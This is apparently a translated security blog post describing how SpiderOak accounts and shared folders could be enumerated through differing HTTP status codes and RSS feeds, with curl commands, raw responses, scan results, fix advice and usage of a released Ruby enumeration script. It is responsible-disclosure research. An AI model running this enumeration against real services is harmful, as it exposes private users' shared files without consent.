Spidering SpiderOak
大约两年前,我曾研究过如何枚举Amazon Buckets和Mobile Me上公共共享的内容。2012年初我开始使用SpiderOak,该服务也提供了与他人共享数据的方式,因此我决定研究其工作机制是否同样可被枚举。长话短说,确实可以。2012年3月初,我联系了SpiderOak的安全团队,提供了我发现的信息以及演示工作原理的示例代码。他们确认了邮件并表示将着手修复。
2012年4月初,我考虑在BSides London会议上就此研究进行演讲,因此询问SpiderOak修复可能的时间安排,因为我希望进行演讲但不希望在有修复进行时透露任何信息。4月13日,我被告知修复应在BSides之前完成,并且他们乐意看到演讲。最终我改为演讲了"Breaking in to Security",并逐渐忘记了SpiderOak的事。
大约一周前,Rapid 7发布了关于Amazon Buckets的研究,引发的关注让我想起SpiderOak的工作,检查发现漏洞仍然存在,因此在此分享。
工作原理
枚举的工作原理是通过检查HTTP返回码来识别有效账户,然后查找RSS馈送来发现有效共享。具体步骤如下。
如果您请求一个存在账户上的共享,即使共享不存在,也会返回200:
1
2
3
4
5
6
7
8
9
10
11
|
$ curl -I https://spideroak.com/browse/share/digi_public/not_exist
HTTP/1.1 200 OK
Server: nginx/0.7.64
Date: Wed, 03 Apr 2013 22:15:10 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: Accept-Encoding
Content-Length: 6813
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=8640000; includeSubDomains
Set-Cookie: uid=AAAAKlFcqe69ciDRBEYWAg==; expires=Thu, 03-Apr-14 22:15:10 GMT; path=/
|
但对于不存在的账户,您会得到404:
1
2
3
4
5
6
7
8
9
|
$ curl -I https://spideroak.com/browse/share/digi_public_not_exist/not_exist
HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Date: Wed, 03 Apr 2013 22:16:06 GMT
Content-Type: text/html
Content-Length: 1696
Connection: keep-alive
Vary: Accept-Encoding
Set-Cookie: uid=AAAAKlFcqia9ciDRBEaQAg==; expires=Thu, 03-Apr-14 22:16:06 GMT; path=/
|
因此,您现在可以遍历用户名列表,并对任何返回200的账户进行命中记录。
下一步是枚举共享,为此请求您要检查的共享,并在返回的页面中搜索其标题中的RSS链接。
1
2
3
4
|
curl -s https://spideroak.com/browse/share/digi_public/does_exist|grep RSS
<link rel="alternate" type="application/rss+xml" title="RSS" href="/share/XXXWO2K7OB2WE3DJMM/does_exist/?rss" />
curl -s https://spideroak.com/browse/share/digi_public/not_exist|grep RSS
<link rel="alternate" type="application/rss+xml" title="RSS" href="/share/XXXWO2K7OB2WE3DJMM/not_exist/?rss" />
|
所有共享,无论是否存在,其标题中都有RSS链接,但如果您检查RSS链接,有效共享返回200,不存在的共享返回404。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
$ curl -I https://spideroak.com/share/XXXWO2K7OB2WE3DJMM/does_exist/?rss
HTTP/1.1 200 OK
Server: nginx/0.7.64
Date: Wed, 03 Apr 2013 22:30:53 GMT
Content-Type: application/atom+xml; charset=utf-8
Connection: keep-alive
Content-length: 1773
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=8640000; includeSubDomains
Set-Cookie: uid=AAAAKlFcrZ21fSDQBCdjAg==; expires=Thu, 03-Apr-14 22:30:53 GMT; path=/
$ curl -I https://spideroak.com/share/XXXWO2K7OB2WE3DJMM/not_exist/?rss
HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Date: Wed, 03 Apr 2013 22:31:18 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
Content-length: 108
Set-Cookie: uid=AAAAKlFcrba1fSDQBCd8Ag==; expires=Thu, 03-Apr-14 22:31:18 GMT; path=/
|
因此,您现在可以识别有效共享。
如果您查看从有效共享获取的RSS馈送,它包含共享中所有文件的列表:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
$ curl https://spideroak.com/share/XXXWO2K7OB2WE3DJMM/does_exist/?rss
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>does_exist: SpiderOak Share Feed by digi_public</title>
<link rel="alternate" type="text/html" href="https://spideroak.com/browse/share/digi_public/does_exist" />
<link rel="self" type="application/atom+xml" href="https://spideroak.com/browse/share_feed/digi_public/does_exist" />
<updated>2009-05-05T17:56:37Z</updated>
<id>https://spideroak.com/browse/share_feed/digi_public/does_exist</id>
<entry>
<title>a_text_file.txt</title>
<link href="/share/digi_public/does_exist/Users/robin/Desktop/does_exist/a_text_file.txt" />
<id>/share/digi_public/does_exist/Users/robin/Desktop/does_exist/a_text_file.txt</id>
<updated>2012-06-21T07:54:23Z</updated>
<author><name>digi_public</name></author>
<content type="html" xml:lang="en"><![CDATA[
<p><img src="/static/browse/icons/genfile.gif" /></p>
<p>Filename: a_text_file.txt<br>
Size: 2915999<br>
Date created: 2012-06-21 07:54:23<br>
Date modified: 2012-06-21 07:54:23</p>
]]></content>
</entry>
<entry>
<title>another_file.zip</title>
<link href="/share/digi_public/does_exist/Users/robin/Desktop/does_exist/another_file.zip" />
<id>/share/digi_public/does_exist/Users/robin/Desktop/does_exist/another_file.zip</id>
<updated>2009-05-05T17:56:37Z</updated>
<author><name>digi_public</name></author>
<content type="html" xml:lang="en"><![CDATA[
<p><img src="/static/browse/icons/genfile.gif" /></p>
<p>Filename: another_file.zip<br>
Size: 183611<br>
Date created: 2012-06-21 07:32:22<br>
Date modified: 2009-05-05 17:56:37</p>
]]></content>
</entry>
</feed>
|
就这样,您可以阅读RSS文件并生成准备下载的文件列表。
我发现了什么?
不幸的是,虽然我没有进行深入搜索,但发现的内容并不多。我从一个包含2268个常见名称的列表开始,运行后找到了615个有效账户,我认为这是一个良好的开端。然后我开始用常见的共享/文件夹名称列表对这些账户进行测试。在Twitter上朋友的帮助下,我建立了一个包含58个潜在名称的列表,您可以从Pastebin获取此列表。
我将这58个文件夹对每个615个账户进行了测试,得到了14个命中,大约2.3%的命中率。虽然不高,但足以证明过程有效。从这14个命中中,有97个文件可用。我没有下载任何文件,但从名称来看,大多数是图像,主要来自某人的圣诞派对。还有一个Michael Buble的2011圣诞专辑、一本CISSP电子书和一个可能是色情内容的视频。
我还对一些大公司名称进行了快速搜索,发现账户有效但没有共享。名称匹配公司并不意味它们属于这些公司,但如果您测试的公司恰好有成功匹配,这可能是有用的信息。
SpiderOak如何修复此问题?
我认为需要做几件事来修复此问题。首先是修复实际漏洞,请求存在账户上不存在的共享应返回404,就像请求不存在账户上的共享一样。这将消除枚举账户的能力,从而大大增加枚举共享所需的请求数量——在这种情况下是2268 * 58对比615 * 58。与此同时,确保所有无效请求返回的头部匹配。我见过两种情况,两种请求都生成404,但一个头部的顺序不同,或者只是不同的头部,这样的差异也可用于枚举。
接下来需要实施监控和锁定。为了进行这项研究,我最初扫描了2268个账户,然后检查了615个账户的58个共享,总共37938个请求。这些请求在几小时内完成,没有锁定或服务降级。合法用户绝不需要在如此广泛的账户范围内进行接近此数量的请求,因此检测此类行为并简单锁定我的IP应该很简单。是的,我可以转移到另一个IP继续,但如果阈值足够低,移动足够多次以获取有用数据就变得不切实际。再加上一些警报和有人监视警报,如果有人坚持尝试绕过锁定,人工干预也可能有所帮助。
保护自己
如果您想保护自己,可以做一些简单的事情。首先,不要共享任何不必要的数椐,如果未共享,则应受到SpiderOak零知识原则的保护。如果您必须共享某些内容,请将共享名称视为密码并适当选择。一旦不再需要共享数据,请移除共享并取下数据。
最后,请记住,您放在网上的任何内容,尤其是在他人计算机上的内容,不再受您控制,因此请思考,您真的想把它放在那里吗?
共享安全吗?
在玩转所有这些时,我在思考共享如何工作以及如何与SpiderOak在网站上显示的隐私政策相关联。
“真正隐私"部分讲述了您的数据如何以只有您能访问的方式加密,SpiderOak员工无法访问您的数据,但我看不出这如何适用于共享。下一部分是我对系统工作原理的猜测,可能完全错误,但我还是要尝试一下。
由于共享数据不受我的主密码保护——不可能,因为我共享数据的朋友不知道我的密码——保护它的只有共享名称。这意味着我共享的任何数据立即变得比原来不安全,即使我从未将共享名称告诉任何人。
我认为员工有可能访问共享数据,方式如下。
共享由账户名称和共享名称标识,SpiderOak显然有系统上所有账户的列表,因此共享名称成为保护措施。当我使用桌面GUI时,我可以获取我设置的共享列表,这意味着该列表存储在服务器上的某个地方。有两个可能的位置,它可能在我输入密码时解锁的加密blob中,在这种情况下员工无法看到列表,或者它可能与我账户信息的其余部分一起明文存储。如果它不在加密blob中,那么任何能访问我账户详情的人都可以访问列表,从而访问我的共享文件。如果它是加密的,他们还能找到我的共享名称吗?Web日志呢?如果Web服务器记录请求,那么搜索日志以找到有效共享将是一项简单的任务。这将违背即使有物理访问,员工也无法访问我数据的声称。
我知道我在这里假设了一些事情,可能完全错误,但其他人也提到了他们对共享模型的不信任,以及其整个安全性基于 essentially 一个文件夹名称的事实。
安装/使用
经过所有这些,您想自己尝试吗?
下载Spider Finder版本1.0
tarball包含spider_finder脚本和我的常见文件夹名称列表,您必须提供自己的账户名称列表。
脚本是用Ruby编写的,只需解压并运行脚本,不需要特殊的gems。
不带参数运行会给出使用说明,但基本上您给它一个包含要尝试的账户列表和共享列表的文件。您可以要求它将所有发现记录到文件以及屏幕上,因此不必麻烦重定向输出。
一旦您运行了一次账户列表,您就可以挑出成功的账户,如果您想用不同的文件夹列表重新运行这些账户,可以使用–valid-accounts标志告诉脚本在检查共享之前不需要检查账户是否存在。
示例用法:
1
|
$ ./spider_finder.rb --log-file first_run.log common_names common_folders.txt
|
我还在使用SpiderOak吗?
我猜经过所有这些,您会认为我不再使用SpiderOak,但您错了。总体而言,我喜欢他们的想法和原则,即使它们有问题。我宁愿使用我考虑过其工作原理、发现局限性并决定它们可接受的东西。我可以转移到Dropbox,但他们有(有过?)更严重的问题。我可以转移到另一个竞争对手,但最终我会想知道它们如何工作,可能最终也会分析它们并发现不同的问题。
反馈
如果您发现任何错误或有意见,请通过联系页面上的详细信息与我联系。
如果您来自SpiderOak,我很乐意讨论问题,如果您想纠正我关于共享内部存储方式的问题,我很想了解。
感谢BruCON
创建此项目的时间由BruCON 5x5奖项慷慨赞助。
目录
- 工作原理
- 我发现了什么?
- SpiderOak如何修复此问题?
- 保护自己
- 共享安全吗?
- 安装/使用
- 我还在使用SpiderOak吗?
- 反馈
类别
支持网站
我没有为此网站上的任何项目获得报酬,因此如果您想支持我的工作,可以通过使用下面的联盟链接来实现,我 either 获得账户积分或现金返还。通常只有几分钱,但它们都会累加。
请我喝一杯冰沙
所有内容由Robin Wood创建,除非另有说明